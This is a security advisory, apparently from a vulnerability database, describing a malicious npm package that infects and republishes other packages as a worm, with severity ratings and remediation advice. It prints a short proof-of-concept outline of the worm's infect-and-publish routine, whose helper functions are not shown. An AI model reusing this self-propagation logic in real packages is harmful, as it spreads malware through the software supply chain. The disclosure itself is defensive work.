Malicious Package Affecting sdfjghlkfjdshlkjdhsfg Open this link in a new tab package, versions *


0.0
high
  • Exploit Maturity

    Mature

  • Attack Complexity

    Low

  • User Interaction

    Required

  • Confidentiality

    High

  • Integrity

    High

  • Availability

    High

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  • snyk-id

    npm:sdfjghlkfjdshlkjdhsfg:20170917

  • published

    17 Sep 2017

  • disclosed

    8 Aug 2017

  • credit

    Jordan Wright

Introduced: 8 Aug 2017

Malicious CWE-506 Open this link in a new tab

Overview

sdfjghlkfjdshlkjdhsfg is a malicious package that infects the installing npm package, infecting them with malicious code and republishing them with it, worming its way into other npm packages.

This is especially dangerous in production runtime environments, where environment variables tend to consist of keys, passwords, tokens and other secrets.

PoC:

function infectModule (moduleName) {
        installModule(moduleName)
        .then(() => {
                addScript(moduleName);
                copyScript(moduleName);

            return incrementPatchVersion(moduleName);
    })
    .then(() => publishInfectedModule(moduleName))
    .catch(() => {});

}

const MODULE_NAME = "sdfjghlkfjdshlkjdhsfg";

infectModule(MODULE_NAME);

Remediation

Avoid usage of this package altogether.